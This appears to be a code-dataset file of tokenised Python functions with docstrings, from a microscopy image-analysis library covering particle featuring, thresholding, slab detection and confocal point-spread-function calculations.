{"signature": "def twoslice(field, center=None, size=<NUM_LIT>, cmap='<STR_LIT>', vmin=<NUM_LIT:0>, vmax=<NUM_LIT:1>,<EOL>orientation='<STR_LIT>', figpad=<NUM_LIT>, off=<NUM_LIT>):", "body": "center = center or [i//<NUM_LIT:2> for i in field.shape]<EOL>slices = []<EOL>for i,c in enumerate(center):<EOL><INDENT>blank = [np.s_[:]]*len(center)<EOL>blank[i] = c<EOL>slices.append(tuple(blank))<EOL><DEDENT>z,y,x = [float(i) for i in field.shape]<EOL>w = float(x + z)<EOL>h = float(y + z)<EOL>def show(field, ax, slicer, transpose=False):<EOL><INDENT>tmp = field[slicer] if not transpose else field[slicer].T<EOL>ax.imshow(<EOL>tmp, cmap=cmap, interpolation='<STR_LIT>',<EOL>vmin=vmin, vmax=vmax<EOL>)<EOL>ax.set_xticks([])<EOL>ax.set_yticks([])<EOL>ax.grid('<STR_LIT>')<EOL><DEDENT>if orientation.startswith('<STR_LIT:v>'):<EOL><INDENT>log.info('<STR_LIT>'.format(x, y, z, w, h, x/h))<EOL>r = x/h<EOL>q = y/h<EOL>f = <NUM_LIT:1> / (<NUM_LIT:1> + <NUM_LIT:3>*off)<EOL>fig = pl.figure(figsize=(size*r, size*f))<EOL>ax1 = fig.add_axes((off, f*(<NUM_LIT:1>-q)+<NUM_LIT:2>*off, f, f*q))<EOL>ax2 = fig.add_axes((off, off,           f, f*(<NUM_LIT:1>-q)))<EOL>show(field, ax1, slices[<NUM_LIT:0>])<EOL>show(field, ax2, slices[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>r = y/w<EOL>q = x/w<EOL>f = <NUM_LIT:1> / (<NUM_LIT:1> + <NUM_LIT:3>*off)<EOL>fig = pl.figure(figsize=(size*f, size*r))<EOL>ax1 = fig.add_axes((off,    off,   f*q, f))<EOL>ax2 = fig.add_axes((<NUM_LIT:2>*off+f*q, off, f*(<NUM_LIT:1>-q), f))<EOL>show(field, ax1, slices[<NUM_LIT:0>])<EOL>show(field, ax2, slices[<NUM_LIT:2>], transpose=True)<EOL><DEDENT>return fig, ax1, ax2<EOL>", "docstring": "Plot two parts of the ortho view, the two sections given by ``orientation``.", "id": "f5746:m15"}
{"signature": "def circles(st, layer, axis, ax=None, talpha=<NUM_LIT:1.0>, cedge='<STR_LIT>', cface='<STR_LIT>'):", "body": "pos = st.obj_get_positions()<EOL>rad = st.obj_get_radii()<EOL>shape = st.ishape.shape.tolist()<EOL>shape.pop(axis) <EOL>if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>axisbg = '<STR_LIT>' if cface == '<STR_LIT>' else '<STR_LIT>'<EOL>sx, sy = ((<NUM_LIT:1>,shape[<NUM_LIT:1>]/float(shape[<NUM_LIT:0>])) if shape[<NUM_LIT:0>] > shape[<NUM_LIT:1>] else<EOL>(shape[<NUM_LIT:0>]/float(shape[<NUM_LIT:1>]), <NUM_LIT:1>))<EOL>ax = fig.add_axes((<NUM_LIT:0>,<NUM_LIT:0>, sx, sy), axisbg=axisbg)<EOL><DEDENT>particles = np.arange(len(pos))[np.abs(pos[:,axis] - layer) < rad]<EOL>scale = <NUM_LIT:1.0> <EOL>for i in particles:<EOL><INDENT>p = pos[i].copy()<EOL>r = <NUM_LIT:2>*np.sqrt(rad[i]**<NUM_LIT:2> - (p[axis] - layer)**<NUM_LIT:2>)<EOL>if axis==<NUM_LIT:0>:<EOL><INDENT>ix = <NUM_LIT:1>; iy = <NUM_LIT:2><EOL><DEDENT>elif axis == <NUM_LIT:1>:<EOL><INDENT>ix = <NUM_LIT:0>; iy = <NUM_LIT:2><EOL><DEDENT>elif axis==<NUM_LIT:2>:<EOL><INDENT>ix = <NUM_LIT:0>; iy = <NUM_LIT:1><EOL><DEDENT>c = Circle((p[ix]/scale, p[iy]/scale), radius=r/<NUM_LIT:2>/scale, fc=cface,<EOL>ec=cedge, alpha=talpha)<EOL>ax.add_patch(c)<EOL><DEDENT>plt.axis('<STR_LIT>') <EOL>return ax<EOL>", "docstring": "Plots a set of circles corresponding to a slice through the platonic\nstructure. Copied from twoslice_overlay with comments, standaloneness.\n\nInputs\n------\n    pos : array of particle positions; [N,3]\n    rad : array of particle radii; [N]\n    ax : plt.axis instance\n    layer : Which layer of the slice to use.\n    axis : The slice of the image, 0, 1, or 2.\n    cedge : edge color\n    cface : face color\n    talpha : Alpha of the thing", "id": "f5746:m18"}
{"signature": "def normalize(im, invert=False, scale=None, dtype=np.float64):", "body": "if dtype not in {np.float16, np.float32, np.float64}:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>out = im.astype('<STR_LIT:float>').copy()<EOL>scale = scale or (<NUM_LIT:0.0>, <NUM_LIT>)<EOL>l, u = (float(i) for i in scale)<EOL>out = (out - l) / (u - l)<EOL>if invert:<EOL><INDENT>out = -out + (out.max() + out.min())<EOL><DEDENT>return out.astype(dtype)<EOL>", "docstring": "Normalize a field to a (min, max) exposure range, default is (0, 255).\n(min, max) exposure values. Invert the image if requested.", "id": "f5748:m6"}
{"signature": "def generate_sphere(radius):", "body": "rint = np.ceil(radius).astype('<STR_LIT:int>')<EOL>t = np.arange(-rint, rint+<NUM_LIT:1>, <NUM_LIT:1>)<EOL>x,y,z = np.meshgrid(t, t, t, indexing='<STR_LIT>')<EOL>r = np.sqrt(x*x + y*y + z*z)<EOL>sphere = r < radius<EOL>return sphere<EOL>", "docstring": "Generates a centered boolean mask of a 3D sphere", "id": "f5748:m7"}
{"signature": "def local_max_featuring(im, radius=<NUM_LIT>, noise_size=<NUM_LIT:1.>, bkg_size=None,<EOL>minmass=<NUM_LIT:1.>, trim_edge=False):", "body": "if radius <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>filtered = nd.gaussian_filter(im, noise_size, mode='<STR_LIT>')<EOL>if bkg_size is None:<EOL><INDENT>bkg_size = <NUM_LIT:2>*radius<EOL><DEDENT>filtered -= nd.gaussian_filter(filtered, bkg_size, mode='<STR_LIT>')<EOL>footprint = generate_sphere(radius)<EOL>e = nd.maximum_filter(filtered, footprint=footprint)<EOL>mass_im = nd.convolve(filtered, footprint, mode='<STR_LIT>')<EOL>good_im = (e==filtered) * (mass_im > minmass)<EOL>pos = np.transpose(np.nonzero(good_im))<EOL>if trim_edge:<EOL><INDENT>good = np.all(pos > <NUM_LIT:0>, axis=<NUM_LIT:1>) & np.all(pos+<NUM_LIT:1> < im.shape, axis=<NUM_LIT:1>)<EOL>pos = pos[good, :].copy()<EOL><DEDENT>masses = mass_im[pos[:,<NUM_LIT:0>], pos[:,<NUM_LIT:1>], pos[:,<NUM_LIT:2>]].copy()<EOL>return pos, masses<EOL>", "docstring": "Local max featuring to identify bright spherical particles on a\n    dark background.\n\n    Parameters\n    ----------\n        im : numpy.ndarray\n            The image to identify particles in.\n        radius : Float > 0, optional\n            Featuring radius of the particles. Default is 2.5\n        noise_size : Float, optional\n            Size of Gaussian kernel for smoothing out noise. Default is 1.\n        bkg_size : Float or None, optional\n            Size of the Gaussian kernel for removing long-wavelength\n            background. Default is None, which gives `2 * radius`\n        minmass : Float, optional\n            Return only particles with a ``mass > minmass``. Default is 1.\n        trim_edge : Bool, optional\n            Set to True to omit particles identified exactly at the edge\n            of the image. False-positive features frequently occur here\n            because of the reflected bandpass featuring. Default is\n            False, i.e. find particles at the edge of the image.\n\n    Returns\n    -------\n        pos, mass : numpy.ndarray\n            Particle positions and masses", "id": "f5748:m8"}
{"signature": "def otsu_threshold(data, bins=<NUM_LIT:255>):", "body": "h0, x0 = np.histogram(data.ravel(), bins=bins)<EOL>h = h0.astype('<STR_LIT:float>') / h0.sum()  <EOL>x = <NUM_LIT:0.5>*(x0[<NUM_LIT:1>:] + x0[:-<NUM_LIT:1>])  <EOL>wk = np.array([h[:i+<NUM_LIT:1>].sum() for i in range(h.size)])  <EOL>mk = np.array([sum(x[:i+<NUM_LIT:1>]*h[:i+<NUM_LIT:1>]) for i in range(h.size)])  <EOL>mt = mk[-<NUM_LIT:1>]  <EOL>sb = (mt*wk - mk)**<NUM_LIT:2> / (wk*(<NUM_LIT:1>-wk) + <NUM_LIT>)  <EOL>ind = sb.argmax()<EOL>return <NUM_LIT:0.5>*(x0[ind] + x0[ind+<NUM_LIT:1>])<EOL>", "docstring": "Otsu threshold on data.\n\nOtsu thresholding [1]_is a method for selecting an intensity value\nfor thresholding an image into foreground and background. The sel-\nected intensity threshold maximizes the inter-class variance.\n\nParameters\n----------\n    data : numpy.ndarray\n        The data to threshold\n    bins : Int or numpy.ndarray, optional\n        Bin edges, as passed to numpy.histogram\n\nReturns\n-------\n    numpy.float\n        The value of the threshold which maximizes the inter-class\n        variance.\n\nNotes\n-----\n    This could be generalized to more than 2 classes.\nReferences\n----------\n    ..[1] N. Otsu, \"A Threshold Selection Method from Gray-level\n        Histograms,\" IEEE Trans. Syst., Man, Cybern., Syst., 9, 1,\n        62-66 (1979)", "id": "f5748:m12"}
{"signature": "def harris_feature(im, region_size=<NUM_LIT:5>, to_return='<STR_LIT>', scale=<NUM_LIT>):", "body": "ndim = im.ndim<EOL>grads = [nd.sobel(im, axis=i) for i in range(ndim)]<EOL>matrix = np.zeros((ndim, ndim) + im.shape)<EOL>for a in range(ndim):<EOL><INDENT>for b in range(ndim):<EOL><INDENT>matrix[a,b] = nd.filters.gaussian_filter(grads[a]*grads[b],<EOL>region_size)<EOL><DEDENT><DEDENT>if to_return == '<STR_LIT>':<EOL><INDENT>return matrix<EOL><DEDENT>trc = np.trace(matrix, axis1=<NUM_LIT:0>, axis2=<NUM_LIT:1>)<EOL>det = np.linalg.det(matrix.T).T<EOL>if to_return == '<STR_LIT>':<EOL><INDENT>return trc, det<EOL><DEDENT>else:<EOL><INDENT>harris = det - scale*trc*trc<EOL>return harris<EOL><DEDENT>", "docstring": "Harris-motivated feature detection on a d-dimensional image.\n\nParameters\n---------\n    im\n    region_size\n    to_return : {'harris','matrix','trace-determinant'}", "id": "f5748:m13"}
{"signature": "def identify_slab(im, sigma=<NUM_LIT>, region_size=<NUM_LIT:10>, masscut=<NUM_LIT>, asdict=False):", "body": "<EOL>fim = nd.filters.gaussian_filter(im, sigma)<EOL>trc, det = harris_feature(fim, region_size, to_return='<STR_LIT>')<EOL>dnrm = det / (trc*trc)<EOL>trc_cut = otsu_threshold(trc)<EOL>det_cut = otsu_threshold(dnrm)<EOL>slabs = (trc > trc_cut) & (dnrm < det_cut)<EOL>labeled, nslabs = nd.label(slabs)<EOL>masses = [(labeled == i).sum() for i in range(<NUM_LIT:1>, nslabs+<NUM_LIT:1>)]<EOL>good = np.array([m > masscut for m in masses])<EOL>inds = np.nonzero(good)[<NUM_LIT:0>] + <NUM_LIT:1>  <EOL>poses = np.array(nd.measurements.center_of_mass(trc, labeled, inds))<EOL>normals = []<EOL>z = np.arange(im.shape[<NUM_LIT:0>]).reshape(-<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>).astype('<STR_LIT:float>')<EOL>y = np.arange(im.shape[<NUM_LIT:1>]).reshape(<NUM_LIT:1>,-<NUM_LIT:1>,<NUM_LIT:1>).astype('<STR_LIT:float>')<EOL>x = np.arange(im.shape[<NUM_LIT:2>]).reshape(<NUM_LIT:1>,<NUM_LIT:1>,-<NUM_LIT:1>).astype('<STR_LIT:float>')<EOL>gim = [nd.sobel(fim, axis=i) for i in range(fim.ndim)]<EOL>for i, p in zip(range(<NUM_LIT:1>, nslabs+<NUM_LIT:1>), poses):<EOL><INDENT>wts = trc * (labeled == i)<EOL>wts /= wts.sum()<EOL>zc, yc, xc = [xi-pi for xi, pi in zip([z,y,x],p.squeeze())]<EOL>cov = [[np.sum(xi*xj*wts) for xi in [zc,yc,xc]] for xj in [zc,yc,xc]]<EOL>vl, vc = np.linalg.eigh(cov)<EOL>normal = vc[:,<NUM_LIT:0>]<EOL>gn = np.sum([n*g[tuple(p.astype('<STR_LIT:int>'))] for g,n in zip(gim, normal)])<EOL>normal *= np.sign(gn)<EOL>normals.append(normal)<EOL><DEDENT>if asdict:<EOL><INDENT>get_theta = lambda n: -np.arctan2(n[<NUM_LIT:1>], -n[<NUM_LIT:0>])<EOL>get_phi = lambda n: np.arcsin(n[<NUM_LIT:2>])<EOL>return [{'<STR_LIT>':p[<NUM_LIT:0>], '<STR_LIT>':(get_theta(n), get_phi(n))}<EOL>for p, n in zip(poses, normals)]<EOL><DEDENT>else:<EOL><INDENT>return poses, np.array(normals)<EOL><DEDENT>", "docstring": "Identifies slabs in an image.\n\nFunctions by running a Harris-inspired edge detection on the image,\nthresholding the edge, then clustering.\n\nParameters\n----------\n    im : numpy.ndarray\n        3D array of the image to analyze.\n    sigma : Float, optional\n        Gaussian blurring kernel to remove non-slab features such as\n        noise and particles. Default is 5.\n    region_size : Int, optional\n        The size of region for Harris corner featuring. Default is 10\n    masscut : Float, optional\n        The minimum number of pixels for a feature to be identified as\n        a slab. Default is 1e4; should be smaller for smaller images.\n    asdict : Bool, optional\n        Set to True to return a list of dicts, with keys of ``'theta'``\n        and ``'phi'`` as rotation angles about the x- and z- axes, and\n        of ``'zpos'`` for the z-position, i.e. a list of dicts which\n        can be unpacked into a :class:``peri.comp.objs.Slab``\n\nReturns\n-------\n    [poses, normals] : numpy.ndarray\n        The positions and normals of each slab in the image; ``poses[i]``\n        and ``normals[i]`` are the ``i``th slab. Returned if ``asdict``\n        is False\n    [list]\n        A list of dictionaries. Returned if ``asdict`` is True", "id": "f5748:m14"}
{"signature": "def j2(x):", "body": "to_return = <NUM_LIT>/(x+<NUM_LIT>)*j1(x) - j0(x)<EOL>to_return[x==<NUM_LIT:0>] = <NUM_LIT:0><EOL>return to_return<EOL>", "docstring": "A fast j2 defined in terms of other special functions", "id": "f5753:m0"}
{"signature": "def calc_pts_hg(npts=<NUM_LIT:20>):", "body": "pts_hg, wts_hg = np.polynomial.hermite.hermgauss(npts*<NUM_LIT:2>)<EOL>pts_hg = pts_hg[npts:]<EOL>wts_hg = wts_hg[npts:] * np.exp(pts_hg*pts_hg)<EOL>return pts_hg, wts_hg<EOL>", "docstring": "Returns Hermite-Gauss quadrature points for even functions", "id": "f5753:m1"}
{"signature": "def calc_pts_lag(npts=<NUM_LIT:20>):", "body": "scl = { <NUM_LIT:15>:<NUM_LIT>,<EOL><NUM_LIT:20>:<NUM_LIT>,<EOL><NUM_LIT>:<NUM_LIT>}[npts]<EOL>pts0, wts0 = np.polynomial.laguerre.laggauss(npts)<EOL>pts = np.sinh(pts0*scl)<EOL>wts = scl*wts0*np.cosh(pts0*scl)*np.exp(pts0)<EOL>return pts, wts<EOL>", "docstring": "Returns Gauss-Laguerre quadrature points rescaled for line scan integration\n\nParameters\n----------\n    npts : {15, 20, 25}, optional\n        The number of points to\n\nNotes\n-----\n    The scale is set internally as the best rescaling for a line scan\n    integral; it was checked numerically for the allowed npts.\n    Acceptable pts/scls/approximate line integral scan error:\n    (pts,   scl  )      :         ERR\n    ------------------------------------\n    (15, 0.072144)      :       0.002193\n    (20, 0.051532)      :       0.001498\n    (25, 0.043266)      :       0.001209\n\n    The previous HG(20) error was ~0.13ish", "id": "f5753:m2"}
{"signature": "def f_theta(cos_theta, zint, z, n2n1=<NUM_LIT>, sph6_ab=None, **kwargs):", "body": "wvfront = (np.outer(np.ones_like(z)*zint, cos_theta) -<EOL>np.outer(zint+z, csqrt(n2n1**<NUM_LIT:2>-<NUM_LIT:1>+cos_theta**<NUM_LIT:2>)))<EOL>if (sph6_ab is not None) and (not np.isnan(sph6_ab)):<EOL><INDENT>sec2_theta = <NUM_LIT:1.0>/(cos_theta*cos_theta)<EOL>wvfront += sph6_ab * (sec2_theta-<NUM_LIT:1>)*(sec2_theta-<NUM_LIT:2>)*cos_theta<EOL><DEDENT>if wvfront.dtype == np.dtype('<STR_LIT>'):<EOL><INDENT>wvfront.imag = -np.abs(wvfront.imag)<EOL><DEDENT>return wvfront<EOL>", "docstring": "Returns the wavefront aberration for an aberrated, defocused lens.\n\nCalculates the portions of the wavefront distortion due to z, theta\nonly, for a lens with defocus and spherical aberration induced by\ncoverslip mismatch. (The rho portion can be analytically integrated\nto Bessels.)\n\nParameters\n----------\n    cos_theta : numpy.ndarray.\n        The N values of cos(theta) at which to compute f_theta.\n    zint : Float\n        The position of the lens relative to the interface.\n    z : numpy.ndarray\n        The M z-values to compute f_theta at. `z.size` is unrelated\n        to `cos_theta.size`\n    n2n1: Float, optional\n        The ratio of the index of the immersed medium to the optics.\n        Default is 0.95\n    sph6_ab : Float or None, optional\n        Set sph6_ab to a nonzero value to add residual 6th-order\n        spherical aberration that is proportional to sph6_ab. Default\n        is None (i.e. doesn't calculate).\n\nReturns\n-------\n    wvfront : numpy.ndarray\n        The aberrated wavefront, as a function of theta and z.\n        Shape is [z.size, cos_theta.size]", "id": "f5753:m3"}
{"signature": "def get_taus(cos_theta, n2n1=<NUM_LIT>):", "body": "return <NUM_LIT>/(<NUM_LIT:1>+csqrt(<NUM_LIT:1>+(n2n1**<NUM_LIT:2>-<NUM_LIT:1>)*cos_theta**-<NUM_LIT:2>))<EOL>", "docstring": "Calculates the Fresnel reflectivity for s-polarized light incident on an\ninterface with index ration n2n1.\n\nParameters\n----------\n    cos_theta : Float or numpy.ndarray\n        The _cosine_ of the angle of the incoming light. Float.\n    n2n1 : Float, optional\n        The ratio n2/n1 of the 2nd material's index n2 to the first's n1\n        Default is 0.95\n\nReturns\n-------\n    Float or numpy.ndarray\n        The reflectivity, in the same type (ndarray or Float) and\n        shape as cos_theta", "id": "f5753:m4"}
{"signature": "def get_taup(cos_theta, n2n1=<NUM_LIT>):", "body": "return <NUM_LIT:2>*n2n1/(n2n1**<NUM_LIT:2>+csqrt(<NUM_LIT:1>-(<NUM_LIT:1>-n2n1**<NUM_LIT:2>)*cos_theta**-<NUM_LIT:2>))<EOL>", "docstring": "Calculates the Fresnel reflectivity for p-polarized light incident on an\ninterface with index ration n2n1.\n\nParameters\n----------\n    cos_theta : Float or numpy.ndarray\n        The _cosine_ of the angle of the incoming light. Float.\n    n2n1 : Float, optional\n        The ratio n2/n1 of the 2nd material's index n2 to the first's n1\n        Default is 0.95\n\nReturns\n-------\n    Float or numpy.ndarray\n        The reflectivity, in the same type (ndarray or Float) and\n        shape as cos_theta", "id": "f5753:m5"}
{"signature": "def get_Kprefactor(z, cos_theta, zint=<NUM_LIT>, n2n1=<NUM_LIT>, get_hdet=False,<EOL>**kwargs):", "body": "phase = f_theta(cos_theta, zint, z, n2n1=n2n1, **kwargs)<EOL>to_return = np.exp(-<NUM_LIT>*phase)<EOL>if not get_hdet:<EOL><INDENT>to_return *= np.outer(np.ones_like(z),np.sqrt(cos_theta))<EOL><DEDENT>return to_return<EOL>", "docstring": "Returns a prefactor in the electric field integral.\n\nThis is an internal function called by get_K. The returned prefactor\nin the integrand is independent of which integral is being called;\nit is a combination of the exp(1j*phase) and apodization.\n\nParameters\n----------\n    z : numpy.ndarray\n        The values of z (distance along optical axis) at which to\n        calculate the prefactor. Size is unrelated to the size of\n        `cos_theta`\n    cos_theta : numpy.ndarray\n        The values of cos(theta) (i.e. position on the incoming\n        focal spherical wavefront) at which to calculate the\n        prefactor. Size is unrelated to the size of `z`\n    zint : Float, optional\n        The position of the optical interface, in units of 1/k.\n        Default is 100.\n    n2n1 : Float, optional\n        The ratio of the index mismatch between the optics (n1) and\n        the sample (n2). Default is 0.95\n    get_hdet : Bool, optional\n        Set to True to calculate the detection prefactor vs the\n        illumination prefactor (i.e. False to include apodization).\n        Default is False\n\nReturns\n-------\n    numpy.ndarray\n        The prefactor, of size [`z.size`, `cos_theta.size`], sampled\n        at the values [`z`, `cos_theta`]", "id": "f5753:m6"}
{"signature": "def get_K(rho, z, alpha=<NUM_LIT:1.0>, zint=<NUM_LIT>, n2n1=<NUM_LIT>, get_hdet=False, K=<NUM_LIT:1>,<EOL>Kprefactor=None, return_Kprefactor=False, npts=<NUM_LIT:20>, **kwargs):", "body": "<EOL>if type(rho) != np.ndarray or type(z) != np.ndarray or (rho.shape != z.shape):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>pts, wts = np.polynomial.legendre.leggauss(npts)<EOL>n1n2 = <NUM_LIT:1.0>/n2n1<EOL>rr = np.ravel(rho)<EOL>zr = np.ravel(z)<EOL>cos_theta = <NUM_LIT:0.5>*(<NUM_LIT:1>-np.cos(alpha))*pts+<NUM_LIT:0.5>*(<NUM_LIT:1>+np.cos(alpha))<EOL>if Kprefactor is None:<EOL><INDENT>Kprefactor = get_Kprefactor(z, cos_theta, zint=zint,n2n1=n2n1,get_hdet=get_hdet, **kwargs)<EOL><DEDENT>if K==<NUM_LIT:1>:<EOL><INDENT>part_1 = j0(np.outer(rr,np.sqrt(<NUM_LIT:1>-cos_theta**<NUM_LIT:2>)))*np.outer(np.ones_like(rr), <NUM_LIT:0.5>*(get_taus(cos_theta,n2n1=n2n1)+get_taup(cos_theta,n2n1=n2n1)*csqrt(<NUM_LIT:1>-n1n2**<NUM_LIT:2>*(<NUM_LIT:1>-cos_theta**<NUM_LIT:2>))))<EOL>integrand = Kprefactor * part_1<EOL><DEDENT>elif K==<NUM_LIT:2>:<EOL><INDENT>part_2=j2(np.outer(rr,np.sqrt(<NUM_LIT:1>-cos_theta**<NUM_LIT:2>)))*np.outer(np.ones_like(rr),<NUM_LIT:0.5>*(get_taus(cos_theta,n2n1=n2n1)-get_taup(cos_theta,n2n1=n2n1)*csqrt(<NUM_LIT:1>-n1n2**<NUM_LIT:2>*(<NUM_LIT:1>-cos_theta**<NUM_LIT:2>))))<EOL>integrand = Kprefactor * part_2<EOL><DEDENT>elif K==<NUM_LIT:3>:<EOL><INDENT>part_3=j1(np.outer(rho,np.sqrt(<NUM_LIT:1>-cos_theta**<NUM_LIT:2>)))*np.outer(np.ones_like(rr), n1n2*get_taup(cos_theta,n2n1=n2n1)*np.sqrt(<NUM_LIT:1>-cos_theta**<NUM_LIT:2>))<EOL>integrand = Kprefactor * part_3<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>big_wts=np.outer(np.ones_like(rr), wts)<EOL>kint = (big_wts*integrand).sum(axis=<NUM_LIT:1>) * <NUM_LIT:0.5>*(<NUM_LIT:1>-np.cos(alpha))<EOL>if return_Kprefactor:<EOL><INDENT>return kint.reshape(rho.shape), Kprefactor<EOL><DEDENT>else:<EOL><INDENT>return kint.reshape(rho.shape)<EOL><DEDENT>", "docstring": "Calculates one of three electric field integrals.\n\nInternal function for calculating point spread functions. Returns\none of three electric field integrals that describe the electric\nfield near the focus of a lens; these integrals appear in Hell's psf\ncalculation.\n\nParameters\n----------\n    rho : numpy.ndarray\n        Rho in cylindrical coordinates, in units of 1/k.\n    z : numpy.ndarray\n        Z in cylindrical coordinates, in units of 1/k. `rho` and\n        `z` must be the same shape\n\n    alpha : Float, optional\n        The acceptance angle of the lens, on (0,pi/2). Default is 1.\n    zint : Float, optional\n        The distance of the len's unaberrated focal point from the\n        optical interface, in units of 1/k. Default is 100.\n    n2n1 : Float, optional\n        The ratio n2/n1 of the index mismatch between the sample\n        (index n2) and the optical train (index n1). Must be on\n        [0,inf) but should be near 1. Default is 0.95\n    get_hdet : Bool, optional\n        Set to True to get the detection portion of the psf; False\n        to get the illumination portion of the psf. Default is True\n    K : {1, 2, 3}, optional\n        Which of the 3 integrals to evaluate. Default is 1\n    Kprefactor : numpy.ndarray or None\n        This array is calculated internally and optionally returned;\n        pass it back to avoid recalculation and increase speed. Default\n        is None, i.e. calculate it internally.\n    return_Kprefactor : Bool, optional\n        Set to True to also return the Kprefactor (parameter above)\n        to speed up the calculation for the next values of K. Default\n        is False\n    npts : Int, optional\n        The number of points to use for Gauss-Legendre quadrature of\n        the integral. Default is 20, which is a good number for x,y,z\n        less than 100 or so.\n\nReturns\n-------\n    kint : numpy.ndarray\n        The integral K_i; rho.shape numpy.array\n    [, Kprefactor] : numpy.ndarray\n        The prefactor that is independent of which integral is being\n        calculated but does depend on the parameters; can be passed\n        back to the function for speed.\n\nNotes\n-----\n    npts=20 gives double precision (no difference between 20, 30, and\n    doing all the integrals with scipy.quad). The integrals are only\n    over the acceptance angle of the lens, so for moderate x,y,z they\n    don't vary too rapidly. For x,y,z, zint large compared to 100, a\n    higher npts might be necessary.", "id": "f5753:m7"}
{"signature": "def get_hsym_asym(rho, z, get_hdet=False, include_K3_det=True, **kwargs):", "body": "K1, Kprefactor = get_K(rho, z, K=<NUM_LIT:1>, get_hdet=get_hdet, Kprefactor=None,<EOL>return_Kprefactor=True, **kwargs)<EOL>K2 = get_K(rho, z, K=<NUM_LIT:2>, get_hdet=get_hdet, Kprefactor=Kprefactor,<EOL>return_Kprefactor=False, **kwargs)<EOL>if get_hdet and not include_K3_det:<EOL><INDENT>K3 = <NUM_LIT:0>*K1<EOL><DEDENT>else:<EOL><INDENT>K3 = get_K(rho, z, K=<NUM_LIT:3>, get_hdet=get_hdet, Kprefactor=Kprefactor,<EOL>return_Kprefactor=False, **kwargs)<EOL><DEDENT>hsym = K1*K1.conj() + K2*K2.conj() + <NUM_LIT:0.5>*(K3*K3.conj())<EOL>hasym= K1*K2.conj() + K2*K1.conj() + <NUM_LIT:0.5>*(K3*K3.conj())<EOL>return hsym.real, hasym.real<EOL>", "docstring": "Calculates the symmetric and asymmetric portions of a confocal PSF.\n\nParameters\n----------\n    rho : numpy.ndarray\n        Rho in cylindrical coordinates, in units of 1/k.\n    z : numpy.ndarray\n        Z in cylindrical coordinates, in units of 1/k. Must be the\n        same shape as `rho`\n    get_hdet : Bool, optional\n        Set to True to get the detection portion of the psf; False\n        to get the illumination portion of the psf. Default is True\n    include_K3_det : Bool, optional.\n        Flag to not calculate the `K3' component for the detection\n        PSF, corresponding to (I think) a low-aperature focusing\n        lens and no z-polarization of the focused light. Default\n        is True, i.e. calculates the K3 component as if the focusing\n        lens is high-aperture\n\nOther Parameters\n----------------\n    alpha : Float, optional\n        The acceptance angle of the lens, on (0,pi/2). Default is 1.\n    zint : Float, optional\n        The distance of the len's unaberrated focal point from the\n        optical interface, in units of 1/k. Default is 100.\n    n2n1 : Float, optional\n        The ratio n2/n1 of the index mismatch between the sample\n        (index n2) and the optical train (index n1). Must be on\n        [0,inf) but should be near 1. Default is 0.95\n\nReturns\n-------\n    hsym : numpy.ndarray\n        `rho`.shape numpy.array of the symmetric portion of the PSF\n    hasym : numpy.ndarray\n        `rho`.shape numpy.array of the asymmetric portion of the PSF", "id": "f5753:m8"}
{"signature": "def calculate_pinhole_psf(x, y, z, kfki=<NUM_LIT>, zint=<NUM_LIT>, normalize=False,<EOL>**kwargs):", "body": "rho = np.sqrt(x**<NUM_LIT:2> + y**<NUM_LIT:2>)<EOL>phi = np.arctan2(y, x)<EOL>hsym, hasym = get_hsym_asym(rho, z, zint=zint, get_hdet=False, **kwargs)<EOL>hdet, toss  = get_hsym_asym(rho*kfki, z*kfki, zint=kfki*zint, get_hdet=True, **kwargs)<EOL>if normalize:<EOL><INDENT>hasym /= hsym.sum()<EOL>hsym /= hsym.sum()<EOL>hdet /= hdet.sum()<EOL><DEDENT>return (hsym + np.cos(<NUM_LIT:2>*phi)*hasym)*hdet<EOL>", "docstring": "Calculates the perfect-pinhole PSF, for a set of points (x,y,z).\n\nParameters\n-----------\n    x : numpy.ndarray\n        The x-coordinate of the PSF in units of 1/ the wavevector of\n        the incoming light.\n    y : numpy.ndarray\n        The y-coordinate.\n    z : numpy.ndarray\n        The z-coordinate.\n    kfki : Float\n        The (scalar) ratio of wavevectors of the outgoing light to the\n        incoming light. Default is 0.89.\n    zint : Float\n        The (scalar) distance from the interface, in units of\n        1/k_incoming. Default is 100.0\n    normalize : Bool\n        Set to True to normalize the psf correctly, accounting for\n        intensity variations with depth. This will give a psf that does\n        not sum to 1.\n\nOther Parameters\n----------------\n    alpha : Float\n        The opening angle of the lens. Default is 1.\n    n2n1 : Float\n        The ratio of the index in the 2nd medium to that in the first.\n        Default is 0.95\n\nReturns\n-------\n    psf : numpy.ndarray, of shape x.shape\n\nComments\n--------\n    (1) The PSF is not necessarily centered on the z=0 pixel, since the\n        calculation includes the shift.\n\n    (2) If you want z-varying illumination of the psf then set\n        normalize=True. This does the normalization by doing:\n            hsym, hasym /= hsym.sum()\n            hdet /= hdet.sum()\n        and then calculating the psf that way. So if you want the\n        intensity to be correct you need to use a large-ish array of\n        roughly equally spaced points. Or do it manually by calling\n        get_hsym_asym()", "id": "f5753:m9"}
{"signature": "def get_polydisp_pts_wts(kfki, sigkf, dist_type='<STR_LIT>', nkpts=<NUM_LIT:3>):", "body": "if dist_type.lower() == '<STR_LIT>':<EOL><INDENT>pts, wts = np.polynomial.hermite.hermgauss(nkpts)<EOL>kfkipts = np.abs(kfki + sigkf*np.sqrt(<NUM_LIT:2>)*pts)<EOL><DEDENT>elif dist_type.lower() == '<STR_LIT>' or dist_type.lower() == '<STR_LIT>':<EOL><INDENT>k_scale = sigkf**<NUM_LIT:2>/kfki<EOL>associated_order = kfki**<NUM_LIT:2>/sigkf**<NUM_LIT:2> - <NUM_LIT:1><EOL>max_order=<NUM_LIT><EOL>if associated_order > max_order or associated_order < (-<NUM_LIT:1>+<NUM_LIT>):<EOL><INDENT>warnings.warn('<STR_LIT>', RuntimeWarning)<EOL>associated_order = np.clip(associated_order, -<NUM_LIT:1>+<NUM_LIT>, max_order)<EOL><DEDENT>kfkipts, wts = la_roots(nkpts, associated_order)<EOL>kfkipts *= k_scale<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return kfkipts, wts/wts.sum()<EOL>", "docstring": "Calculates a set of Gauss quadrature points & weights for 